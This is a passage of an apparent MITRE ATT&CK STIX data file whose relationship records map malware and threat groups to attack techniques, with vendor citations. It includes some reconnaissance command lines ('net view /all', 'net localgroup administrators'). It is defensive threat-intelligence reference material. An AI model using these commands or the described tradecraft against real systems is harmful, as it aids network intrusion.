2024)","relationship_type":"uses","source_ref":"malware--e1284931-3f85-4262-a641-9ae8bb0576a0","target_ref":"attack-pattern--bf176076-b789-408e-8cba-7275e81c0ada","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--20cf444d-b538-4971-b054-3d749aa945f0","type":"relationship","created":"2018-10-17T00:14:20.652Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"url":"https://www.fidelissecurity.com/threatgeek/2016/10/trickbot-we-missed-you-dyre","description":"Reaves, J. (2016, October 15). TrickBot: We Missed you, Dyre. Retrieved August 2, 2018.","source_name":"Fidelis TrickBot Oct 2016"},{"source_name":"IBM TrickBot Nov 2016","description":"Keshet, L. (2016, November 09). Tricks of the Trade: A Deeper Look Into TrickBot’s Machinations. Retrieved August 2, 2018.","url":"https://securityintelligence.com/tricks-of-the-trade-a-deeper-look-into-trickbots-machinations/"},{"url":"https://www.microsoft.com/en-us/wdsi/threats/malware-encyclopedia-description?Name=Trojan:Win32/Totbrick","description":"Pornasdoro, A. (2017, October 12). Trojan:Win32/Totbrick. Retrieved September 14, 2018.","source_name":"Microsoft Totbrick Oct 2017"},{"source_name":"Trend Micro Trickbot Nov 2018","url":"https://blog.trendmicro.com/trendlabs-security-intelligence/trickbot-shows-off-new-trick-password-grabber-module/","description":"Anthony, N., Pascual, C.. (2018, November 1). Trickbot Shows Off New Trick: Password Grabber Module. Retrieved November 16, 2018."}],"modified":"2020-03-18T20:49:23.260Z","description":"[TrickBot](https://attack.mitre.org/software/S0266) uses web injects and browser redirection to trick the user into providing their login credentials on a fake or modified web page.(Citation: Fidelis TrickBot Oct 2016)(Citation: IBM TrickBot Nov 2016)(Citation: Microsoft Totbrick Oct 2017)(Citation: Trend Micro Trickbot Nov 2018)","relationship_type":"uses","source_ref":"malware--00806466-754d-44ea-ad6f-0caf59cb8556","target_ref":"attack-pattern--544b0346-29ad-41e1-a808-501bb4193f47","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--20d2449b-aa52-40bc-8a7a-5c6f72eb3ce0","created":"2024-09-18T19:12:58.126Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Bitsight Latrodectus June 2024","description":"Batista, J. (2024, June 17). Latrodectus, are you coming back?. Retrieved September 13, 2024.","url":"https://www.bitsight.com/blog/latrodectus-are-you-coming-back"},{"source_name":"Elastic Latrodectus May 2024","description":"Stepanic, D. and Bousseaden, S. (2024, May 15). Spring Cleaning with LATRODECTUS: A Potential Replacement for ICEDID. Retrieved September 13, 2024.","url":"https://www.elastic.co/security-labs/spring-cleaning-with-latrodectus"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-09-18T20:05:13.405Z","description":"\n[Latrodectus](https://attack.mitre.org/software/S1160) can run `C:\\Windows\\System32\\cmd.exe /c net view /all` to discover network shares.(Citation: Elastic Latrodectus May 2024)(Citation: Bitsight Latrodectus June 2024)","relationship_type":"uses","source_ref":"malware--76fde8df-3495-47c9-82eb-125c4f7fb621","target_ref":"attack-pattern--3489cfc5-640f-4bb3-a103-9137b97de79f","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--20d59bcb-04cd-4581-a18f-4f77dd96027c","created":"2024-05-22T22:50:46.515Z","revoked":false,"external_references":[{"source_name":"Unit42 Agrius 2023","description":"Or Chechik, Tom Fakterman, Daniel Frank & Assaf Dahan. (2023, November 6). Agonizing Serpens (Aka Agrius) Targeting the Israeli Higher Education and Tech Sectors. Retrieved May 22, 2024.","url":"https://unit42.paloaltonetworks.com/agonizing-serpens-targets-israeli-tech-higher-ed-sectors/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-05-22T22:50:46.515Z","description":"[MultiLayer Wiper](https://attack.mitre.org/software/S1135) reboots the infected system following wiping and related tasks to prevent system recovery.(Citation: Unit42 Agrius 2023)","relationship_type":"uses","source_ref":"malware--663d7dee-5a47-459e-a5ef-e850a94a8ee5","target_ref":"attack-pattern--ff73aa03-0090-4464-83ac-f89e233c02bc","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"type":"relationship","id":"relationship--20dfecf8-b324-4584-9526-9de6a14dfa27","created":"2022-04-13T19:10:40.986Z","x_mitre_version":"0.1","external_references":[{"source_name":"Talos Bisonal Mar 2020","url":"https://blog.talosintelligence.com/2020/03/bisonal-10-years-of-play.html","description":"Mercer, W., et al. (2020, March 5). Bisonal: 10 years of play. Retrieved January 26, 2022."}],"x_mitre_deprecated":false,"revoked":false,"description":"[Bisonal](https://attack.mitre.org/software/S0268) can check to determine if the compromised system is running on VMware.(Citation: Talos Bisonal Mar 2020)","modified":"2022-04-18T17:14:41.599Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","relationship_type":"uses","source_ref":"malware--65ffc206-d7c1-45b3-b543-f6b726e7840d","target_ref":"attack-pattern--82caa33e-d11a-433a-94ea-9b5a5fbef81d","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--20e08063-e851-4230-a59e-b378ec8676ec","created":"2024-09-05T22:24:53.218Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"DFIR_Sodinokibi_Ransomware","description":"DFIR. (2021, March 29). Sodinokibi (aka REvil) Ransomware. Retrieved July 22, 2024.","url":"https://thedfirreport.com/2021/03/29/sodinokibi-aka-revil-ransomware/"},{"source_name":"DFIR_Quantum_Ransomware","description":"DFIR. (2022, April 25). Quantum Ransomware. Retrieved July 26, 2024.","url":"https://thedfirreport.com/2022/04/25/quantum-ransomware/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-09-05T22:31:05.274Z","description":"[IcedID](https://attack.mitre.org/software/S0483) used [Nltest](https://attack.mitre.org/software/S0359) during initial discovery.(Citation: DFIR_Sodinokibi_Ransomware)(Citation: DFIR_Quantum_Ransomware)","relationship_type":"uses","source_ref":"malware--5147ef15-1cae-4707-8ea1-bee8d98b7f1d","target_ref":"attack-pattern--767dbf9e-df3f-45cb-8998-4903ab5f80c0","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--20e1f501-0932-40d2-a41b-386a8b9d463d","created":"2023-09-12T19:47:12.770Z","revoked":false,"external_references":[{"source_name":"Proofpoint TA2541 February 2022","description":"Larson, S. and Wise, J. (2022, February 15). Charting TA2541's Flight. Retrieved September 12, 2023.","url":"https://www.proofpoint.com/us/blog/threat-insight/charting-ta2541s-flight"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-09-12T19:47:12.770Z","description":"[TA2541](https://attack.mitre.org/groups/G1018) has used dynamic DNS services for C2 infrastructure.(Citation: Proofpoint TA2541 February 2022)","relationship_type":"uses","source_ref":"intrusion-set--467271fd-47c0-4e90-a3f9-d84f5cf790d0","target_ref":"attack-pattern--7bd9c723-2f78-4309-82c5-47cad406572b","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.1.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--20eb2a85-e9f0-41cc-a26a-d66989c476f8","type":"relationship","created":"2021-10-11T15:50:26.281Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Securelist APT10 March 2021","url":"https://securelist.com/apt10-sophisticated-multi-layered-loader-ecipekac-discovered-in-a41apt-campaign/101519/","description":"GREAT. (2021, March 30). APT10: sophisticated multi-layered loader Ecipekac discovered in A41APT campaign. Retrieved June 17, 2021."}],"modified":"2021-10-11T15:50:26.281Z","description":"[SodaMaster](https://attack.mitre.org/software/S0627) can use a hardcoded RSA key to encrypt some of its C2 traffic.(Citation: Securelist APT10 March 2021)","relationship_type":"uses","source_ref":"malware--94d6d788-07bb-4dcc-b62f-e02626b00108","target_ref":"attack-pattern--bf176076-b789-408e-8cba-7275e81c0ada","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--20ed819f-4312-48ea-bb52-357243ab192a","created":"2024-07-25T20:36:47.893Z","revoked":false,"external_references":[{"source_name":"ESET EvasivePanda 2023","description":"Facundo Muñoz. (2023, April 26). Evasive Panda APT group delivers malware via updates for popular Chinese software. Retrieved July 25, 2024.","url":"https://www.welivesecurity.com/2023/04/26/evasive-panda-apt-group-malware-updates-popular-chinese-software/"},{"source_name":"Symantec Daggerfly 2023","description":"Threat Hunter Team. (2023, April 20). Daggerfly: APT Actor Targets Telecoms Company in Africa. Retrieved July 25, 2024.","url":"https://symantec-enterprise-blogs.security.com/threat-intelligence/apt-attacks-telecoms-africa-mgbot"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-07-25T20:36:47.893Z","description":"[MgBot](https://attack.mitre.org/software/S1146) includes modules for stealing stored credentials from Outlook and Foxmail email client software.(Citation: ESET EvasivePanda 2023)(Citation: Symantec Daggerfly 2023)","relationship_type":"uses","source_ref":"malware--a36eedea-9523-4abb-96e8-205f171ee763","target_ref":"attack-pattern--3fc9b85a-2862-4363-a64d-d692e3ffbee0","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--20f422e8-6244-46e3-8842-f5dc3e37568c","type":"relationship","created":"2019-09-24T13:29:29.667Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Talos ZxShell Oct 2014","url":"https://blogs.cisco.com/security/talos/opening-zxshell","description":"Allievi, A., et al. (2014, October 28). Threat Spotlight: Group 72, Opening the ZxShell. Retrieved September 24, 2019."}],"modified":"2022-01-05T16:34:01.609Z","description":"[ZxShell](https://attack.mitre.org/software/S0412) can collect the local hostname, operating system details, CPU speed, and total physical memory.(Citation: Talos ZxShell Oct 2014) ","relationship_type":"uses","source_ref":"malware--cfc75b0d-e579-40ae-ad07-a1ce00d49a6c","target_ref":"attack-pattern--354a7f88-63fb-41b5-a801-ce3b377b36f1","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--20f43b8b-55c7-4710-8813-6512c3b11c1a","created":"2023-03-31T19:40:01.468Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Cybereason Royal December 2022","description":"Cybereason Global SOC and Cybereason Security Research Teams. (2022, December 14). Royal Rumble: Analysis of Royal Ransomware. Retrieved March 30, 2023.","url":"https://www.cybereason.com/blog/royal-ransomware-analysis"},{"source_name":"Trend Micro Royal Linux ESXi February 2023","description":"Morales, N. et al. (2023, February 20). Royal Ransomware Expands Attacks by Targeting Linux ESXi Servers. Retrieved March 30, 2023.","url":"https://www.trendmicro.com/en_us/research/23/b/royal-ransomware-expands-attacks-by-targeting-linux-esxi-servers.html"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-03-31T20:06:16.156Z","description":" [Royal](https://attack.mitre.org/software/S1073) can use `GetNativeSystemInfo` and `GetLogicalDrives` to enumerate system processors and logical drives.(Citation: Cybereason Royal December 2022)(Citation: Trend Micro Royal Linux ESXi February 2023)","relationship_type":"uses","source_ref":"malware--802a874d-7463-4f2a-99e3-6a1f5a919a21","target_ref":"attack-pattern--354a7f88-63fb-41b5-a801-ce3b377b36f1","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--20f863a1-f7de-4d66-a564-c4adee24fdbe","type":"relationship","created":"2017-05-31T21:33:27.034Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Mandiant Operation Ke3chang November 2014","description":"Villeneuve, N., Bennett, J. T., Moran, N., Haq, T., Scott, M., & Geers, K. (2014). OPERATION “KE3CHANG”: Targeted Attacks Against Ministries of Foreign Affairs. Retrieved November 12, 2014.","url":"https://www.mandiant.com/resources/operation-ke3chang-targeted-attacks-against-ministries-of-foreign-affairs"}],"modified":"2021-11-01T21:12:14.711Z","description":"[Ke3chang](https://attack.mitre.org/groups/G0004) performs account discovery using commands such as net localgroup administrators and net group \"REDACTED\" /domain on specific permissions groups.(Citation: Mandiant Operation Ke3chang November 2014)","relationship_type":"uses","source_ref":"intrusion-set--6713ab67-e25b-49cc-808d-2b36d4fbc35c","target_ref":"attack-pattern--21875073-b0ee-49e3-9077-1e2a885359af","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--2105f57c-a6f5-4f9e-b040-705c58396fc2","type":"relationship","created":"2022-03-30T14:26:51.874Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2022-03-30T14:26:51.874Z","description":"Monitor for newly constructed files that may establish persistence through executing malicious commands triggered by a user’s shell. For most Linux and macOS systems, a list of file paths for valid shell options available on a system are located in the /etc/shells file.","source_ref":"x-mitre-data-component--2b3bfe19-d59a-460d-93bb-2f546adc2d2c","target_ref":"attack-pattern--b63a34e8-0a61-4c97-a23b-bf8a2ed812e2","relationship_type":"detects","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--2107aab0-0191-46d1-abec-8d98ac916c21","type":"relationship","created":"2020-06-19T20:41:21.297Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Anomali Rocke March 2019","url":"https://www.anomali.com/blog/rocke-evolves-its-arsenal-with-a-new-malware-family-written-in-golang","description":"Anomali Labs. (2019, March 15). Rocke Evolves Its Arsenal With a New Malware Family Written in Golang. Retrieved April 24, 2019."}],"modified":"2020-06-19T20:41:21.297Z","description":"[Rocke](https://attack.mitre.org/groups/G0106) has modified /etc/ld.so.preload to hook libc functions in order to hide the installed dropper and mining software in process lists.(Citation: Anomali Rocke March 2019)","relationship_type":"uses","source_ref":"intrusion-set--44102191-3a31-45f8-acbe-34bdb441d5ad","target_ref":"attack-pattern--0f20e3cb-245b-4a61-8a91-2d93f7cb0e9b","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--210b5693-f039-4853-a0ea-70b4fa3abed9","type":"relationship","created":"2021-10-15T19:52:14.506Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"CrowdStrike Carbon Spider August 2021","url":"https://www.crowdstrike.com/blog/carbon-spider-embraces-big-game-hunting-part-1/","description":"Loui, E. and Reynolds, J. (2021, August 30). CARBON SPIDER Embraces Big Game Hunting, Part 1. Retrieved September 20, 2021."}],"modified":"2021-10-15T19:52:14.506Z","description":"(Citation: CrowdStrike Carbon Spider August 2021)","relationship_type":"uses","source_ref":"intrusion-set--3753cc21-2dae-4dfb-8481-d004e74502cc","target_ref":"tool--f59508a6-3615-47c3-b493-6676e1a39a87","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--210f5206-8763-48ac-a4c3-a08440892b5d","type":"relationship","created":"2017-12-14T16:46:06.044Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Kaspersky Carbanak","description":"Kaspersky Lab's Global Research and Analysis Team. (2015, February). CARBANAK APT THE GREAT BANK ROBBERY. Retrieved August 23, 2018.","url":"https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2018/03/08064518/Carbanak_APT_eng.pdf"}],"modified":"2020-03-17T00:31:12.790Z","description":"The [Carbanak](https://attack.mitre.org/software/S0030) malware communicates to its command server using HTTP with an encrypted payload.(Citation: Kaspersky Carbanak)","relationship_type":"uses","source_ref":"malware--72f54d66-675d-4587-9bd3-4ed09f9522e4","target_ref":"attack-pattern--df8b2a25-8bdf-4856-953c-a04372b1c161","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--21103c84-cbf8-48ee-b02f-edd13157bd89","type":"relationship","created":"2020-10-01T02:17:46.135Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2020-10-01T02:17:46.135Z","relationship_type":"subtechnique-of","source_ref":"attack-pattern--f4b843c1-7e92-4701-8fed-ce82f8be2636","target_ref":"attack-pattern--ce0687a0-e692-4b77-964a-0784a8e54ff1","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--21117898-adc0-41c1-9e2e-2551e638ef71","type":"relationship","created":"2019-01-30T13:28:47.846Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"description":"Xiao, C. (2018, September 17). Xbash Combines Botnet, Ransomware, Coinmining in Worm that Targets Linux and Windows. Retrieved November 14, 2018.","url":"https://researchcenter.paloaltonetworks.com/2018/09/unit42-xbash-combines-botnet-ransomware-coinmining-worm-targets-linux-windows/","source_name":"Unit42 Xbash Sept 2018"}],"modified":"2020-03-19T17:44:44.733Z","description":"[Xbash](https://attack.mitre.org/software/S0341) can execute malicious VBScript payloads on the victim’s machine.(Citation: Unit42 Xbash Sept 2018)","relationship_type":"uses","source_ref":"malware--6a92d80f-cc65-45f6-aa66-3cdea6786b3c","target_ref":"attack-pattern--dfd7cc1d-e1d8-4394-a198-97c4cab8aa67","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--21198a81-0fa4-4114-9a75-478e7212b87a","type":"relationship","created":"2018-10-17T00:14:20.652Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"url":"https://www.symantec.com/blogs/threat-intelligence/leafminer-espionage-middle-east","description":"Symantec Security Response. (2018, July 25). Leafminer: New Espionage Campaigns Targeting Middle Eastern Regions. Retrieved August 28, 2018.","source_name":"Symantec Leafminer July 2018"}],"modified":"2020-03-19T23:18:35.497Z","description":"[Leafminer](https://attack.mitre.org/groups/G0077) used several tools for retrieving login and password information, including LaZagne and Mimikatz.(Citation: Symantec Leafminer July 2018)","relationship_type":"uses","source_ref":"intrusion-set--32bca8ff-d900-4877-aa65-d70baa041b74","target_ref":"attack-pattern--65f2d882-3f41-4d48-8a06-29af77ec9f90","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--211e2acf-ad5b-4ab7-a1af-f6dbc656c4bf","type":"relationship","created":"2022-03-24T19:39:24.738Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"GitHub SILENTTRINITY Modules July 2019","url":"https://github.com/byt3bl33d3r/SILENTTRINITY/tree/master/silenttrinity/core/teamserver/modules/boo","description":"Salvati, M. (2019, August 6). SILENTTRINITY Modules. Retrieved March 24, 2022."}],"modified":"2022-03-24T19:39:24.738Z","description":"[SILENTTRINITY](https://attack.mitre.org/software/S0692)'s `amsiPatch.py` module can disable Antimalware Scan Interface (AMSI) functions.(Citation: GitHub SILENTTRINITY Modules July 2019)","relationship_type":"uses","source_ref":"tool--1244e058-fa10-48cb-b484-0bcf671107ae","target_ref":"attack-pattern--ac08589e-ee59-4935-8667-d845e38fe579","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--2121683c-ab01-4212-b2d2-af290dd8ed17","type":"relationship","created":"2017-12-14T16:46:06.044Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"FireEye APT10 April 2017","description":"FireEye iSIGHT Intelligence. (2017, April 6). APT10 (MenuPass Group): New Tools, Global Campaign Latest Manifestation of Longstanding Threat. Retrieved June 29, 2017.","url":"https://www.fireeye.com/blog/threat-research/2017/04/apt10_menupass_grou.html"}],"modified":"2020-03-17T02:35:07.141Z","description":"[SNUGRIDE](https://attack.mitre.org/software/S0159) communicates with its C2 server over HTTP.(Citation: FireEye APT10 April 2017)","relationship_type":"uses","source_ref":"malware--3240cbe4-c550-443b-aa76-cc2a7058b870","target_ref":"attack-pattern--df8b2a25-8bdf-4856-953c-a04372b1c161","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"type":"relationship","id":"relationship--2123bedd-f2b3-4856-9ee4-5d23aa9c8745","created":"2022-03-29T17:02:05.217Z","x_mitre_version":"1.0","external_references":[{"source_name":"GitHub SILENTTRINITY Modules July 2019","url":"https://github.com/byt3bl33d3r/SILENTTRINITY/tree/master/silenttrinity/core/teamserver/modules/boo","description":"Salvati, M. (2019, August 6). SILENTTRINITY Modules. Retrieved March 24, 2022."}],"x_mitre_deprecated":false,"revoked":false,"description":"[SILENTTRINITY](https://attack.mitre.org/software/S0692) can remove artifacts from the compromised host, including created Registry keys.(Citation: GitHub SILENTTRINITY Modules July 2019)","modified":"2022-04-18T21:17:12.411Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","relationship_type":"uses","source_ref":"tool--1244e058-fa10-48cb-b484-0bcf671107ae","target_ref":"attack-pattern--799ace7f-e227-4411-baa0-8868704f2a69","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--21247679-6bd8-43dc-921b-530d255d1d6c","created":"2024-02-21T19:27:38.521Z","revoked":false,"external_references":[{"source_name":"Secureworks GOLD SAHARA","description":"Secureworks. (n.d.). GOLD SAHARA. Retrieved February 20, 2024.","url":"https://www.secureworks.com/research/threat-profiles/gold-sahara"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-02-21T19:27:38.521Z","description":"[Akira](https://attack.mitre.org/groups/G1024) deletes administrator accounts in victim networks prior to encryption.(Citation: Secureworks GOLD SAHARA)","relationship_type":"uses","source_ref":"intrusion-set--46bb06cb-f2d9-4b37-8c92-a27e224ad90d","target_ref":"attack-pattern--b24e2a20-3b3d-4bf0-823b-1ed765398fb0","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--2124d78b-edbb-4334-9bbc-fd7dc62fcdd0","type":"relationship","created":"2021-08-24T14:13:17.206Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"CISA MAR-10292089-1.v2 TAIDOOR August 2021","url":"https://us-cert.cisa.gov/ncas/analysis-reports/ar20-216a","description":"CISA, FBI, DOD. (2021, August). MAR-10292089-1.v2 – Chinese Remote Access Trojan: TAIDOOR. Retrieved August 24, 2021."}],"modified":"2021-08-24T14:13:17.206Z","description":"[Taidoor](https://attack.mitre.org/software/S0011) can copy cmd.exe into the system temp folder.(Citation: CISA MAR-10292089-1.v2 TAIDOOR August 2021)","relationship_type":"uses","source_ref":"malware--b143dfa4-e944-43ff-8429-bfffc308c517","target_ref":"attack-pattern--d1fcf083-a721-4223-aedf-bf8960798d62","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--21281614-d7cc-4211-9365-d318c99cb906","type":"relationship","created":"2021-05-26T15:46:53.735Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"BlackBerry CostaRicto November 2020","url":"https://blogs.blackberry.com/en/2020/11/the-costaricto-campaign-cyber-espionage-outsourced","description":"The BlackBerry Research and Intelligence Team. (2020, November 12). The CostaRicto Campaign: Cyber-Espionage Outsourced. Retrieved May 24, 2021."},{"source_name":"CISA AR21-126A FIVEHANDS May 2021","url":"https://us-cert.cisa.gov/ncas/analysis-reports/ar21-126a","description":"CISA. (2021, May 6). Analysis Report (AR21-126A) FiveHands Ransomware. Retrieved June 7, 2021."}],"modified":"2021-06-08T13:29:06.851Z","description":"[SombRAT](https://attack.mitre.org/software/S0615) can run upload to decrypt and upload files from storage.(Citation: BlackBerry CostaRicto November 2020)(Citation: CISA AR21-126A FIVEHANDS May 2021)","relationship_type":"uses","source_ref":"malware--425771c5-48b4-4ecd-9f95-74ed3fc9da59","target_ref":"attack-pattern--3ccef7ae-cb5e-48f6-8302-897105fbf55c","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--21295e0f-33f4-44dc-a649-87d0e55f8ed7","created":"2022-06-24T15:47:48.173Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Kaspersky Lyceum October 2021","description":"Kayal, A. et al. (2021, October). LYCEUM REBORN: COUNTERINTELLIGENCE IN THE MIDDLE EAST. Retrieved June 14, 2022.","url":"https://vblocalhost.com/uploads/VB2021-Kayal-etal.pdf"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2022-10-14T18:14:48.605Z","description":"[Kevin](https://attack.mitre.org/software/S1020) can Base32 encode chunks of output files during exfiltration.(Citation: Kaspersky Lyceum October 2021)","relationship_type":"uses","source_ref":"malware--e7863f5d-cb6a-4f81-8804-0a635eec160a","target_ref":"attack-pattern--04fd5427-79c7-44ea-ae13-11b24778ff1c","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--21298951-67d3-4904-97be-f7a57d120383","type":"relationship","created":"2021-06-29T14:40:05.801Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Bitdefender Naikon April 2021","url":"https://www.bitdefender.com/files/News/CaseStudies/study/396/Bitdefender-PR-Whitepaper-NAIKON-creat5397-en-EN.pdf","description":"Vrabie, V. 